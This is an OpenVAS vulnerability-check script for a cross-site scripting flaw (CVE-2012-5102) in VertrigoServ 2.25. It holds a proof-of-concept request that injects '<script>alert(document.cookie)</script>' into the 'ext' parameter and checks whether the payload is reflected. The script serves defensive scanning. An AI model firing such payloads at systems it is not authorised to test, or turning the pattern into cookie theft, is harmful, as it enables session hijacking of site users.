VertrigoServ 'ext' Parameter Cross Site Scripting Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_vertrigo_serv_ext_param_xss_vuln.nasl 5792 2017-03-30 13:18:14Z cfi $
#
# VertrigoServ 'ext' Parameter Cross Site Scripting Vulnerability
#
# Authors:
# Madhuri D <[email protected]>
#
# Copyright:
# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation will allow attackers to execute arbitrary
web script or HTML in a user's browser session in the context of an affected
site.

Impact Level: Application";

tag_affected = "VertrigoServ version 2.25";

tag_insight = "The flaw is caused by an input validation error in the 'ext'
parameter in 'extensions.php' when processing user-supplied data.";

tag_solution = "No solution or patch was made available for at least one year
since disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective
features, remove the product or replace the product by another one.";

tag_summary = "This host is running VertrigoServ and is prone to cross-site
scripting vulnerability.";

if(description)
{
  script_id(802556);
  script_version("$Revision: 5792 $");
  script_cve_id("CVE-2012-5102");
  script_bugtraq_id(51293);
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"$Date: 2017-03-30 15:18:14 +0200 (Thu, 30 Mar 2017) $");
  script_tag(name:"creation_date", value:"2012-01-09 12:11:55 +0530 (Mon, 09 Jan 2012)");
  script_name("VertrigoServ 'ext' Parameter Cross Site Scripting Vulnerability");
  script_xref(name : "URL" , value : "http://secunia.com/advisories/47469/");
  script_xref(name : "URL" , value : "http://seclists.org/bugtraq/2012/Jan/33");
  script_xref(name : "URL" , value : "http://www.securityfocus.com/archive/1/521125");
  script_xref(name : "URL" , value : "http://packetstormsecurity.org/files/108391/INFOSERVE-ADV2011-11.txt");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (c) 2012 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "http_version.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  script_tag(name:"solution_type", value:"WillNotFix");
  exit(0);
}

include("http_func.inc");
include("version_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80);
if(!port){
  exit(0);
}

if(!can_host_php(port:port)){
  exit(0);
}

rcvRes = http_get_cache(item: "/index.php", port:port);

if(">Welcome to VertrigoServ<" >< rcvRes)
{
  ## Construct the Attack Request
  url = '/inc/extensions.php?mode=extensions&ext=<script>alert' +
        '(document.cookie)</script>';

  ## Try attack and check the response to confirm vulnerability.
  if(http_vuln_check(port:port, url:url, pattern:"<script>alert\(document\." +
                               "cookie\)</script>", check_header:TRUE)){
    security_message(port);
  }
}